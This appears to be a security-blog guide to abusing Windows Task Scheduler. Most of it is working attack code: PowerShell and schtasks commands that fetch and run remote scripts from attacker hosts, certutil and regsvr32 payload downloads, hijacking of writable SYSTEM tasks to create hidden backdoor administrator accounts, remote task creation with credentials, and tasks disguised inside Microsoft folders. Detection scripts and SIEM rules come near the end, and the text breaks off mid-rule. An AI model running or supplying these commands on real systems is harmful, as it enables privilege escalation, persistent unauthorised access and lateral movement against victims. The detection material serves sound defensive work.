Windows Task Scheduler exploitation diagram showing task hijacking and privilege escalation

Windows Scheduled Tasks for Privilege Escalation and Persistence

Comprehensive guide to exploiting and abusing Windows Task Scheduler for privilege escalation, lateral movement, and maintaining persistent access on compromised systems.

Feb 5, 2026
Updated Dec 11, 2025
2 min read

Introduction

Windows Task Scheduler is a powerful system component that enables automated execution of programs, scripts, and commands based on time-based triggers or system events. While designed as a legitimate system administration tool, Task Scheduler presents a significant attack surface for adversaries seeking privilege escalation, persistence, and lateral movement across Windows environments.

The Task Scheduler service (Schedule) runs with SYSTEM privileges and can execute tasks under various security contexts, including LocalSystem, domain accounts, and user profiles. This flexibility, combined with extensive configuration options and deep integration with Windows, makes it an attractive target for attackers. Scheduled tasks can be configured to run at system startup, user logon, specific times, or in response to system events—providing numerous opportunities for malicious code execution.

Scheduled task abuse manifests in several attack scenarios:

  • Privilege Escalation: Exploiting misconfigured tasks or weak file permissions on task executables
  • Persistence: Creating tasks that survive reboots and maintain access
  • Lateral Movement: Remotely creating tasks on other systems using administrative credentials
  • Defense Evasion: Hiding malicious tasks within legitimate-looking scheduled job configurations
  • Execution: Leveraging scheduled tasks to run payloads at specific times or conditions

Why Task Scheduler Matters for Attackers

Scheduled tasks offer unique advantages compared to other persistence and execution mechanisms:

  • Built-in System Feature: No additional tools required—native Windows functionality
  • SYSTEM Privileges: Tasks can execute with the highest privilege level
  • Flexible Triggers: Time-based, event-based, logon-based execution options
  • Remote Management: Tasks can be created and managed remotely via RPC
  • Stealth Potential: Thousands of legitimate tasks exist—malicious ones blend in
  • Defense Bypass: Often less monitored than Registry run keys or services
  • Credential Harvesting: Tasks may store credentials in cleartext or reversible encryption

Task scheduler abuse is documented as technique T1053.005 in the MITRE ATT&CK framework, where it appears under both privilege escalation and persistence tactics.

Technical Background

Task Scheduler Architecture

Windows Task Scheduler consists of several components working together:

Task Scheduler Service (Schedule/svchost.exe -k netsvcs -p -s Schedule):

  • Runs as SYSTEM by default
  • Manages task execution and monitoring
  • Processes triggers and executes actions
  • Maintains task state and history

Task Scheduler Library:

  • Stored in C:\Windows\System32\Tasks\
  • XML files containing task definitions
  • Hierarchical folder structure
  • Inherits permissions from filesystem ACLs

Task Scheduler MMC Snap-in (taskschd.msc):

  • GUI interface for task management
  • Allows viewing, creating, and modifying tasks
  • Displays task history and execution results

Command-Line Tools:

  • schtasks.exe: Legacy command-line tool
  • at.exe: Deprecated legacy tool (removed in modern Windows)
  • PowerShell cmdlets: Get-ScheduledTask, New-ScheduledTask, etc.

Task Components

A scheduled task consists of several key elements:

Task Triggers

Triggers define when a task executes:

Trigger TypeDescriptionAttack Use Case
Time-basedExecute at specific time/dateTimed payload execution, data exfiltration
At StartupRun when system bootsPersistence, privilege escalation
At LogonExecute when user logs inUser-level persistence, credential harvesting
On IdleRun when system is idleStealthy execution, crypto mining
Event-basedTriggered by Windows Event Log entryAdvanced persistence, responding to security events
On RegistrationExecute immediately when task createdImmediate exploitation
On Session Connect/DisconnectRDP/console session changesLateral movement detection evasion
Workstation Lock/UnlockScreen lock eventsSession hijacking opportunities

Example XML trigger configuration:

<Triggers>
  <LogonTrigger>
    <Enabled>true</Enabled>
    <UserId>DOMAIN\victim</UserId>
  </LogonTrigger>
  <TimeTrigger>
    <Enabled>true</Enabled>
    <StartBoundary>2026-01-01T00:00:00</StartBoundary>
    <Repetition>
      <Interval>PT1H</Interval>
      <Duration>P1D</Duration>
    </Repetition>
  </TimeTrigger>
</Triggers>

Task Actions

Actions specify what the task executes:

Action TypeDescriptionSecurity Implications
Execute ProgramRun executable or scriptMost common—arbitrary code execution
Send EmailSend email messageData exfiltration, alerting
Display MessageShow dialog boxSocial engineering, deception
COM HandlerExecute COM objectFileless execution, DLL hijacking

Dangerous action configurations:

<Actions>
  <Exec>
    <Command>C:\Windows\System32\cmd.exe</Command>
    <Arguments>/c powershell -ep bypass -c "IEX(IWR http://attacker.com/p.ps1)"</Arguments>
  </Exec>
</Actions>

Task Principals (Security Context)

Principals define the security context for task execution:

Principal TypePrivilege LevelCommon Misconfigurations
SYSTEMHighest privilegesTasks writable by non-admins
AdministratorFull system accessStored credentials in task definition
Domain AdminEnterprise controlCredentials cached in LSASS
User AccountUser-level accessWritable task executable paths
Service AccountVariable privilegesOverprivileged service accounts

XML principal configuration:

<Principals>
  <Principal>
    <UserId>NT AUTHORITY\SYSTEM</UserId>
    <RunLevel>HighestAvailable</RunLevel>
  </Principal>
</Principals>

Key principal settings:

  • RunLevel: LeastPrivilege vs. HighestAvailable
  • LogonType: Password, S4U, Interactive, ServiceAccount
  • ProcessTokenSidType: Default, Unrestricted, None

Task Storage and Permissions

Scheduled tasks are stored as XML files in C:\Windows\System32\Tasks\:

PS C:\> Get-ChildItem C:\Windows\System32\Tasks\ -Recurse -File

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/15/2026   3:45 AM           1256 Microsoft\Windows\UpdateOrchestrator\Backup Scan
-a----         1/15/2026   2:30 AM           2048 CustomBackup
-a----         1/14/2026  11:22 PM           3421 GoogleUpdateTaskMachine

File permissions control task modification:

# Check task file permissions
icacls "C:\Windows\System32\Tasks\CustomBackup"

# Vulnerable configuration:
# BUILTIN\Users:(I)(M)  <-- Users can modify task!

Registry storage (legacy tasks and metadata):

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\
├── Tasks\         # Task GUID mappings
├── Tree\          # Task folder structure
├── Boot\          # Boot-triggered tasks
├── Logon\         # Logon-triggered tasks
└── Plain\         # Time-triggered tasks

Detection and Enumeration

PowerShell Enumeration

Comprehensive task enumeration using PowerShell:

# Method 1: Get all scheduled tasks with detailed information
Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'} |
    Select-Object TaskName, TaskPath, State,
                  @{N='Actions';E={$_.Actions.Execute + ' ' + $_.Actions.Arguments}},
                  @{N='Triggers';E={$_.Triggers.CimClass.CimClassName}},
                  @{N='RunAs';E={$_.Principal.UserId}} |
    Format-Table -AutoSize -Wrap

# Method 2: Find high-privilege tasks with writable components
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $taskName = $task.TaskName
    $taskPath = $task.TaskPath
    $principal = $task.Principal.UserId

    # Check if runs as SYSTEM or Administrator
    if ($principal -match 'SYSTEM|Administrator') {
        $actions = $task.Actions | Where-Object {$_.Execute}

        foreach ($action in $actions) {
            $executable = $action.Execute
            $arguments = $action.Arguments

            # Check if executable is writable
            if (Test-Path $executable -ErrorAction SilentlyContinue) {
                try {
                    $testFile = "$executable.test"
                    [System.IO.File]::WriteAllText($testFile, "test")
                    Remove-Item $testFile -Force -ErrorAction SilentlyContinue

                    [PSCustomObject]@{
                        TaskName = $taskName
                        TaskPath = $taskPath
                        RunAs = $principal
                        Executable = $executable
                        Vulnerability = "Writable Executable"
                    }
                }
                catch { }
            }

            # Check if task definition is writable
            $taskFile = "C:\Windows\System32\Tasks$taskPath$taskName"
            if (Test-Path $taskFile -ErrorAction SilentlyContinue) {
                try {
                    $testFile = "$taskFile.test"
                    [System.IO.File]::WriteAllText($testFile, "test")
                    Remove-Item $testFile -Force -ErrorAction SilentlyContinue

                    [PSCustomObject]@{
                        TaskName = $taskName
                        TaskPath = $taskPath
                        RunAs = $principal
                        TaskFile = $taskFile
                        Vulnerability = "Writable Task File"
                    }
                }
                catch { }
            }
        }
    }
}

# Method 3: Find tasks with stored credentials (potential credential theft)
Get-ScheduledTask | Where-Object {
    $_.Principal.LogonType -eq 'Password'
} | Select-Object TaskName, TaskPath,
    @{N='RunAs';E={$_.Principal.UserId}},
    @{N='LogonType';E={$_.Principal.LogonType}}

# Method 4: Identify tasks in user-writable directories
Get-ScheduledTask | ForEach-Object {
    $actions = $_.Actions | Where-Object {$_.Execute}
    foreach ($action in $actions) {
        $exe = $action.Execute
        $dir = Split-Path $exe -Parent

        if ($dir -and (Test-Path $dir -ErrorAction SilentlyContinue)) {
            try {
                $testFile = Join-Path $dir "test_$(Get-Random).tmp"
                [System.IO.File]::WriteAllText($testFile, "test")
                Remove-Item $testFile -Force

                [PSCustomObject]@{
                    TaskName = $_.TaskName
                    Executable = $exe
                    WriteableDirectory = $dir
                    RunAs = $_.Principal.UserId
                }
            }
            catch { }
        }
    }
}

# Method 5: Find recently modified tasks (potential attacker activity)
Get-ChildItem C:\Windows\System32\Tasks\ -Recurse -File |
    Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} |
    Select-Object FullName, LastWriteTime |
    Sort-Object LastWriteTime -Descending

Command-Line Enumeration

Using schtasks.exe for enumeration:

:: List all scheduled tasks
schtasks /query /fo LIST /v

:: Filter for tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "SYSTEM"

:: List tasks in specific folder
schtasks /query /tn "\Microsoft\Windows\UpdateOrchestrator\*"

:: Export task to XML for analysis
schtasks /query /tn "TaskName" /xml > task.xml

:: List tasks with next run time
schtasks /query /fo TABLE /nh

:: Find tasks created recently (within last 7 days)
forfiles /P C:\Windows\System32\Tasks /S /D -7 /C "cmd /c echo @path @fdate"

Automated Tools

# PowerUp - Part of PowerSploit
Import-Module .\PowerUp.ps1

# Check all privilege escalation vectors including scheduled tasks
Invoke-AllChecks

# Specific scheduled task check
Get-ModifiableScheduledTaskFile

# Output example:
# TaskName         : BackupTask
# TaskFilePath     : C:\Windows\System32\Tasks\BackupTask
# ModifiableFile   : C:\Scripts\backup.bat
# ModifiableFilePermissions: BUILTIN\Users [WriteData/CreateFiles]
# TaskTrigger      : Daily at 3:00 AM
# RunAs            : SYSTEM
# AbuseFunction    : Write-ScheduledTaskAction -TaskName 'BackupTask' -PayloadPath 'evil.exe'

# Check for weak task file permissions
Get-UnquotedService | Where-Object {$_.AbuseFunction -match 'Task'}
# WinPEAS - Windows Privilege Escalation Awesome Scripts
.\winPEASx64.exe quiet scheduledtasks

# Output includes:
#   [+] Checking scheduled tasks
#
#   [!] Modifiable scheduled task binary
#   TaskName: CustomBackup
#   Task to run: C:\Scripts\backup.bat
#   Run As: SYSTEM
#   File Permissions: BUILTIN\Users [Modify]
#
#   [!] Writable scheduled task definition
#   Task File: C:\Windows\System32\Tasks\MaintenanceTask
#   Permissions: Everyone [Write]

# Full system check
.\winPEASx64.exe systeminfo scheduledtasks fileanalysis
# SharpUp - C# privilege escalation auditor
.\SharpUp.exe audit ScheduledTasks

# Output:
# === Modifiable Scheduled Tasks ===
#
# Name              : BackupService
# Action            : C:\Tools\backup.exe
# Triggers          : Daily at 2:00 AM
# Run As            : SYSTEM
# Modifiable        : C:\Tools\backup.exe (Users: Modify)
# Next Run Time     : 2026-02-06 02:00:00

# JSON output
.\SharpUp.exe audit ScheduledTasks -outputfile=tasks.json
# Seatbelt - C# security enumeration tool
.\Seatbelt.exe ScheduledTasks

# Focused checks
.\Seatbelt.exe ScheduledTasks -full

# Output includes:
# ==== Scheduled Tasks (Non-Microsoft) ====
#
# Name             : CustomBackup
# Action           : C:\Scripts\backup.ps1
# Triggers         : At system startup
# State            : Ready
# Run As           : SYSTEM
# Run Level        : HighestAvailable
# Task File Perms  : BUILTIN\Users (Modify)
# *** Task definition is WRITABLE by current user ***

# Check specific task
.\Seatbelt.exe ScheduledTasks TaskName=BackupTask

Manual Deep Analysis

Detailed task analysis script:

function Analyze-ScheduledTask {
    param([string]$TaskName)

    $task = Get-ScheduledTask -TaskName $TaskName -ErrorAction Stop
    $taskPath = "C:\Windows\System32\Tasks" + $task.TaskPath + $task.TaskName

    Write-Host "`n[*] Analyzing Task: $TaskName" -ForegroundColor Cyan

    # Task Information
    Write-Host "`n[*] Task Configuration:" -ForegroundColor Cyan
    Write-Host "    State: $($task.State)" -ForegroundColor Gray
    Write-Host "    Run As: $($task.Principal.UserId)" -ForegroundColor Gray
    Write-Host "    Run Level: $($task.Principal.RunLevel)" -ForegroundColor Gray
    Write-Host "    Logon Type: $($task.Principal.LogonType)" -ForegroundColor Gray

    # Triggers
    Write-Host "`n[*] Triggers:" -ForegroundColor Cyan
    foreach ($trigger in $task.Triggers) {
        Write-Host "    Type: $($trigger.CimClass.CimClassName)" -ForegroundColor Gray
        if ($trigger.Enabled) {
            Write-Host "    Enabled: Yes" -ForegroundColor Green
        } else {
            Write-Host "    Enabled: No" -ForegroundColor Yellow
        }
    }

    # Actions
    Write-Host "`n[*] Actions:" -ForegroundColor Cyan
    foreach ($action in $task.Actions) {
        if ($action.Execute) {
            $executable = $action.Execute
            $arguments = $action.Arguments

            Write-Host "    Executable: $executable" -ForegroundColor Gray
            Write-Host "    Arguments: $arguments" -ForegroundColor Gray

            # Check executable permissions
            if (Test-Path $executable -ErrorAction SilentlyContinue) {
                $acl = Get-Acl $executable
                $writable = $acl.Access | Where-Object {
                    $_.FileSystemRights -match 'Write|Modify|FullControl' -and
                    $_.IdentityReference -match 'Users|Everyone|Authenticated'
                }

                if ($writable) {
                    Write-Host "    [!] Executable is WRITABLE" -ForegroundColor Red
                }

                # Check directory permissions
                $dir = Split-Path $executable -Parent
                $dirAcl = Get-Acl $dir
                $dirWritable = $dirAcl.Access | Where-Object {
                    $_.FileSystemRights -match 'Write|Modify|FullControl' -and
                    $_.IdentityReference -match 'Users|Everyone|Authenticated'
                }

                if ($dirWritable) {
                    Write-Host "    [!] Directory is WRITABLE" -ForegroundColor Red
                }
            }
        }
    }

    # Task file permissions
    Write-Host "`n[*] Task File Permissions:" -ForegroundColor Cyan
    if (Test-Path $taskPath) {
        $taskAcl = Get-Acl $taskPath
        $taskWritable = $taskAcl.Access | Where-Object {
            $_.FileSystemRights -match 'Write|Modify|FullControl' -and
            $_.IdentityReference -match 'Users|Everyone|Authenticated'
        }

        if ($taskWritable) {
            Write-Host "    [!] Task file is WRITABLE" -ForegroundColor Red
            Write-Host "    [!] EXPLOITABLE!" -ForegroundColor Red -BackgroundColor Black
        } else {
            Write-Host "    Task file is properly secured" -ForegroundColor Green
        }

        # Display relevant ACL entries
        $taskAcl.Access | Where-Object {
            $_.AccessControlType -eq 'Allow'
        } | ForEach-Object {
            Write-Host "    $($_.IdentityReference): $($_.FileSystemRights)" -ForegroundColor Gray
        }
    }

    # Stored credentials
    if ($task.Principal.LogonType -eq 'Password') {
        Write-Host "`n[!] Task uses stored credentials (potential credential theft)" -ForegroundColor Yellow
    }

    # Task history
    Write-Host "`n[*] Recent Task History:" -ForegroundColor Cyan
    Get-ScheduledTaskInfo -TaskName $TaskName | Select-Object LastRunTime, LastTaskResult, NextRunTime
}

# Usage
Analyze-ScheduledTask -TaskName "CustomBackup"

Exploitation Techniques

Privilege Escalation via Writable Task File

Identify Vulnerable Task

Find a scheduled task running as SYSTEM with a writable task definition file.

Backup Original Task

Export the current task configuration for potential restoration.

Modify Task Definition

Edit the XML task file to execute malicious payload while maintaining appearance.

Wait for Execution

Task executes automatically based on its trigger (time, logon, startup, etc.).

Verify Success

Confirm privilege escalation through backdoor account or shell access.

Complete exploitation example:

# Step 1: Enumerate for writable task files
$writableTasks = Get-ScheduledTask | Where-Object {
    $_.Principal.UserId -match 'SYSTEM'
} | ForEach-Object {
    $taskFile = "C:\Windows\System32\Tasks" + $_.TaskPath + $_.TaskName
    if (Test-Path $taskFile) {
        try {
            $testFile = "$taskFile.test"
            [System.IO.File]::WriteAllText($testFile, "test")
            Remove-Item $testFile -Force
            [PSCustomObject]@{
                TaskName = $_.TaskName
                TaskFile = $taskFile
                RunAs = $_.Principal.UserId
            }
        }
        catch { }
    }
}

$writableTasks | Format-Table -AutoSize

# Output:
# TaskName        TaskFile                                          RunAs
# --------        --------                                          -----
# BackupTask      C:\Windows\System32\Tasks\BackupTask             NT AUTHORITY\SYSTEM

# Step 2: Export original task
schtasks /query /tn "BackupTask" /xml > BackupTask_original.xml

# Step 3: Modify task to add malicious action
$taskXml = Get-Content "C:\Windows\System32\Tasks\BackupTask"

# Parse XML and add new action
[xml]$xml = $taskXml
$ns = New-Object System.Xml.XmlNamespaceManager($xml.NameTable)
$ns.AddNamespace("t", "http://schemas.microsoft.com/windows/2004/02/mit/task")

# Create new action element
$newAction = $xml.CreateElement("Exec", $ns.LookupNamespace("t"))
$command = $xml.CreateElement("Command", $ns.LookupNamespace("t"))
$command.InnerText = "cmd.exe"
$arguments = $xml.CreateElement("Arguments", $ns.LookupNamespace("t"))
$arguments.InnerText = "/c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add"

$newAction.AppendChild($command) | Out-Null
$newAction.AppendChild($arguments) | Out-Null

# Add to actions
$actions = $xml.SelectSingleNode("//t:Actions", $ns)
$actions.AppendChild($newAction) | Out-Null

# Save modified task
$xml.Save("C:\Windows\System32\Tasks\BackupTask")

# Step 4: Verify modification
Get-ScheduledTask -TaskName "BackupTask" | Select-Object -ExpandProperty Actions

# Step 5: Force task execution (if you have permissions)
Start-ScheduledTask -TaskName "BackupTask"

# Or wait for scheduled trigger

# Step 6: Verify exploitation
net user hacker
# User name                    hacker
# Local Group Memberships      *Administrators       *Users

Privilege Escalation via Writable Executable

When the task executable is writable but task definition is not:

# Step 1: Identify task with writable executable
$task = Get-ScheduledTask -TaskName "MaintenanceTask"
$executable = $task.Actions[0].Execute
# C:\Tools\maintenance.bat

# Step 2: Check permissions
icacls $executable
# C:\Tools\maintenance.bat BUILTIN\Users:(I)(F)

# Step 3: Backup original
Copy-Item $executable "$executable.bak"

# Step 4: Create malicious payload
$payload = @'
@echo off
REM Original functionality (maintain stealth)
echo Running maintenance...

REM Malicious additions
net user backdoor "P@ssw0rd!123" /add /y
net localgroup administrators backdoor /add
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f

REM Continue original script
REM [original script content here]
'@

$payload | Out-File $executable -Encoding ASCII

# Step 5: Wait for task execution or trigger manually
Start-ScheduledTask -TaskName "MaintenanceTask"

# Step 6: Restore original (optional, for stealth)
Start-Sleep -Seconds 60
Copy-Item "$executable.bak" $executable -Force
Remove-Item "$executable.bak"

Creating Malicious Scheduled Tasks for Persistence

# Method 1: Create persistence task with PowerShell cmdlets

# Define task action
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.5/beacon.ps1'')"'

# Define trigger (at system startup)
$trigger = New-ScheduledTaskTrigger -AtStartup

# Define principal (run as SYSTEM)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest

# Register task (requires admin privileges)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger -Principal $principal -Description "Checks for Windows updates"

# Alternative: User-level persistence (doesn't require admin)
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-ep bypass -w hidden -c "IEX(IWR http://10.10.14.5/p.ps1)"'
$trigger = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME
Register-ScheduledTask -TaskName "UserSyncService" -Action $action -Trigger $trigger

# Hidden task in obscure folder
$action = New-ScheduledTaskAction -Execute 'cmd.exe' -Argument '/c C:\Windows\Temp\update.exe'
$trigger = New-ScheduledTaskTrigger -Daily -At 3am
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "\Microsoft\Windows\Wdi\ResolutionHost" -Action $action -Trigger $trigger -Principal $principal
REM Create task running at startup as SYSTEM
schtasks /create /tn "WindowsDefender\Diagnostics" /tr "C:\Windows\System32\evil.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f

REM Create task running at user logon
schtasks /create /tn "OneDriveSync" /tr "powershell.exe -ep bypass -w hidden -c IEX(IWR http://10.10.14.5/p.ps1)" /sc onlogon /f

REM Create task with multiple triggers
schtasks /create /tn "GoogleUpdate" /tr "C:\ProgramData\update.exe" /sc onstart /ru SYSTEM /f
schtasks /change /tn "GoogleUpdate" /tr "C:\ProgramData\update.exe" /sc daily /st 00:00 /f

REM Create task that runs every 5 minutes
schtasks /create /tn "SecurityHealth" /tr "C:\Windows\Temp\monitor.exe" /sc minute /mo 5 /ru SYSTEM /f

REM Create task responding to event logs
schtasks /create /tn "EventResponse" /tr "C:\Windows\System32\cmd.exe /c calc.exe" /sc onevent /ec Security /mo "*[System[(EventID=4624)]]" /ru SYSTEM /f

REM Create task on remote system (requires credentials)
schtasks /create /s REMOTE-PC /u DOMAIN\admin /p Password123! /tn "RemoteUpdate" /tr "C:\Windows\System32\backdoor.exe" /sc onstart /ru SYSTEM /f
# Create task via COM objects (alternative to built-in cmdlets)

$service = New-Object -ComObject Schedule.Service
$service.Connect()

$taskFolder = $service.GetFolder("\")
$taskDefinition = $service.NewTask(0)

# Set principal
$taskDefinition.Principal.UserId = "SYSTEM"
$taskDefinition.Principal.LogonType = 5  # ServiceAccount
$taskDefinition.Principal.RunLevel = 1  # Highest

# Set trigger (logon)
$triggers = $taskDefinition.Triggers
$trigger = $triggers.Create(9)  # 9 = Logon trigger
$trigger.Enabled = $true

# Set action
$actions = $taskDefinition.Actions
$action = $actions.Create(0)  # 0 = Execute
$action.Path = "powershell.exe"
$action.Arguments = "-ep bypass -w hidden -c calc.exe"

# Register task
$taskFolder.RegisterTaskDefinition(
    "MicrosoftEdgeUpdate",
    $taskDefinition,
    6,  # TASK_CREATE_OR_UPDATE
    $null,
    $null,
    5  # TASK_LOGON_SERVICE_ACCOUNT
)

Write-Host "Task created successfully"

# Via WMI (requires admin)
$class = [wmiclass]"\\.\root\cimv2:Win32_ScheduledJob"
$class.Create(
    "powershell.exe -ep bypass -c calc.exe",
    "********030000.000000+***"  # Runs daily at 3 AM
)
# Create scheduled task on remote systems

# Method 1: Using schtasks with explicit credentials
$target = "REMOTE-PC"
$username = "DOMAIN\admin"
$password = "Password123!"

& schtasks /create `
    /s $target `
    /u $username `
    /p $password `
    /tn "SystemUpdate" `
    /tr "C:\Windows\System32\backdoor.exe" `
    /sc onstart `
    /ru SYSTEM `
    /f

# Method 2: Using PowerShell remoting
$cred = Get-Credential -UserName "DOMAIN\admin" -Message "Enter credentials"
Invoke-Command -ComputerName REMOTE-PC -Credential $cred -ScriptBlock {
    $action = New-ScheduledTaskAction -Execute 'C:\Windows\Temp\payload.exe'
    $trigger = New-ScheduledTaskTrigger -AtStartup
    $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
    Register-ScheduledTask -TaskName "RemoteBackdoor" -Action $action -Trigger $trigger -Principal $principal
}

# Method 3: Using Impacket from Linux
# impacket-atexec -hashes :ntlmhash DOMAIN/admin@REMOTE-PC "schtasks /create /tn Backdoor /tr C:\backdoor.exe /sc onstart /ru SYSTEM"

# Method 4: Copy payload and create task
Copy-Item .\payload.exe -Destination "\\REMOTE-PC\C$\Windows\Temp\payload.exe"
& schtasks /create /s REMOTE-PC /u $username /p $password /tn "Update" /tr "C:\Windows\Temp\payload.exe" /sc onstart /ru SYSTEM /f

Advanced Evasion Techniques

Hiding Tasks in Legitimate Folders

Create tasks that blend with legitimate Windows tasks:

# Hide in Microsoft\Windows\ subfolder structure
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-w hidden -c IEX(IWR http://10.10.14.5/p.ps1)'
$trigger = New-ScheduledTaskTrigger -Daily -At 2am
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest

# Register in legitimate-looking location
Register-ScheduledTask -TaskName "\Microsoft\Windows\UpdateOrchestrator\SecurityUpdate" -Action $action -Trigger $trigger -Principal $principal

# Or hide in deep subfolder
Register-ScheduledTask -TaskName "\Microsoft\Windows\Diagnosis\Scheduled\Maintenance\Telemetry" -Action $action -Trigger $trigger -Principal $principal

# Tasks here are less likely to be reviewed

Living Off the Land Binaries (LOLBins)

Use Microsoft-signed binaries to avoid detection:

# Using certutil for payload download
$action = New-ScheduledTaskAction -Execute 'certutil.exe' -Argument '-urlcache -split -f http://10.10.14.5/payload.exe C:\Windows\Temp\update.exe'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "UpdateCheck" -Action $action -Trigger $trigger

# Using mshta for script execution
$action = New-ScheduledTaskAction -Execute 'mshta.exe' -Argument 'javascript:eval("VarXGV3QBzbWplY3RJTmV3IE9iamVjdChcXCJ...") '
Register-ScheduledTask -TaskName "Update" -Action $action -Trigger $trigger

# Using rundll32 for DLL execution
$action = New-ScheduledTaskAction -Execute 'rundll32.exe' -Argument 'C:\Windows\System32\shell32.dll,Control_RunDLL C:\Users\Public\payload.dll'
Register-ScheduledTask -TaskName "SystemConfig" -Action $action -Trigger $trigger

# Using regsvr32 for scriptlet execution
$action = New-ScheduledTaskAction -Execute 'regsvr32.exe' -Argument '/s /u /i:http://10.10.14.5/payload.sct scrobj.dll'
Register-ScheduledTask -TaskName "Registration" -Action $action -Trigger $trigger

Event-Based Triggers for Stealth

Execute only in response to specific events:

<!-- Trigger on failed logon (responds to security events) -->
<EventTrigger>
  <Enabled>true</Enabled>
  <Subscription>&lt;QueryList&gt;&lt;Query Id="0" Path="Security"&gt;&lt;Select Path="Security"&gt;*[System[(EventID=4625)]]&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;</Subscription>
</EventTrigger>
# PowerShell creation
$trigger = Get-CimClass -Namespace root/Microsoft/Windows/TaskScheduler -ClassName MSFT_TaskEventTrigger
$triggerInstance = New-CimInstance -CimClass $trigger -ClientOnly
$triggerInstance.Subscription = @'
<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">*[System[(EventID=4624 or EventID=4625)]]</Select>
  </Query>
</QueryList>
'@
$triggerInstance.Enabled = $true

# Register task with event trigger
# (requires XML export/import or COM manipulation)

Detection and Monitoring

Event Log Monitoring

Key Event IDs for scheduled task activity:

# Event ID 4698: Scheduled task created
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4698
} | Where-Object {
    $_.TimeCreated -gt (Get-Date).AddDays(-7)
} | ForEach-Object {
    $xml = [xml]$_.ToXml()
    $taskName = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TaskName'} | Select-Object -ExpandProperty '#text'
    $creator = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'SubjectUserName'} | Select-Object -ExpandProperty '#text'

    [PSCustomObject]@{
        Time = $_.TimeCreated
        TaskName = $taskName
        Creator = $creator
        Computer = $_.MachineName
    }
} | Format-Table -AutoSize

# Event ID 4702: Scheduled task updated
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4702}

# Event ID 4699: Scheduled task deleted
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4699}

# Event ID 4700/4701: Scheduled task enabled/disabled
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4700,4701}

# Task Scheduler Operational Log (more detailed)
Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-TaskScheduler/Operational'
    ID=106,110,129,141,200,201
} | Select-Object TimeCreated, Id, Message | Format-Table -Wrap

# Event ID 106: Task registered
# Event ID 110: Task triggered
# Event ID 129: Task action started
# Event ID 141: Task removed
# Event ID 200: Task executed
# Event ID 201: Task completed

Suspicious Task Detection Rules

# Detect tasks with suspicious characteristics
$suspiciousTasks = Get-ScheduledTask | ForEach-Object {
    $task = $_
    $suspicious = $false
    $reasons = @()

    # Check for non-Microsoft tasks running as SYSTEM
    if ($task.TaskPath -notmatch '^\\Microsoft\\' -and
        $task.Principal.UserId -match 'SYSTEM') {
        $suspicious = $true
        $reasons += "Non-Microsoft task running as SYSTEM"
    }

    # Check for tasks with network destinations in actions
    foreach ($action in $task.Actions) {
        if ($action.Execute -match 'powershell|cmd|wscript|mshta|rundll32|regsvr32') {
            if ($action.Arguments -match 'http://|https://|IWR|IEX|DownloadString|WebClient') {
                $suspicious = $true
                $reasons += "Network communication in task action"
            }
        }

        # Check for suspicious executables
        if ($action.Execute -match 'C:\\Users\\|C:\\Temp\\|C:\\ProgramData\\|AppData') {
            $suspicious = $true
            $reasons += "Task executes from suspicious location"
        }
    }

    # Check for tasks created recently
    $taskFile = "C:\Windows\System32\Tasks" + $task.TaskPath + $task.TaskName
    if (Test-Path $taskFile) {
        $created = (Get-Item $taskFile).CreationTime
        if ($created -gt (Get-Date).AddDays(-7)) {
            $suspicious = $true
            $reasons += "Recently created task"
        }
    }

    # Check for hidden tasks (not visible in GUI)
    if ($task.Settings.Hidden) {
        $suspicious = $true
        $reasons += "Task is hidden"
    }

    if ($suspicious) {
        [PSCustomObject]@{
            TaskName = $task.TaskName
            TaskPath = $task.TaskPath
            RunAs = $task.Principal.UserId
            State = $task.State
            Actions = ($task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
            Reasons = $reasons -join "; "
        }
    }
}

$suspiciousTasks | Format-Table -Wrap -AutoSize

SIEM Detection Rules

Splunk query for malicious scheduled task detection:

index=windows (source="WinEventLog:Security" EventCode=4698 OR EventCode=4702)
OR (source="WinEventLog:Microsoft-Windows-TaskScheduler/Operational" EventCode=106 OR EventCode=110 OR EventCode=141)
| eval task_name=coalesce('Task Name', TaskName)
| eval task_command=coalesce(Command, 'Task To Run')
| where (
    match(task_command, "(?i)(powershell|cmd|wscript|mshta|rundll32|regsvr32|certutil|bitsadmin)")
    AND match(task_command, "(?i)(http|download|iex|iwr|invoke|bypass)")
  )
  OR NOT match(task_name, "^\\\\Microsoft\\\\Windows\\\\")
| stats count by _time, host, user, task_name, task_command
| where count > 0

Elastic Stack (EQL) detection:

sequence by host.name with maxspan=5m
  [file where event.type == "creation" and
   file.path : "C:\\Windows\\System32\\Tasks\\*" and
   not file.path : "C:\\Windows\\System32\\Tasks\\Microsoft\\*"]
  [process where event.type == "start" and
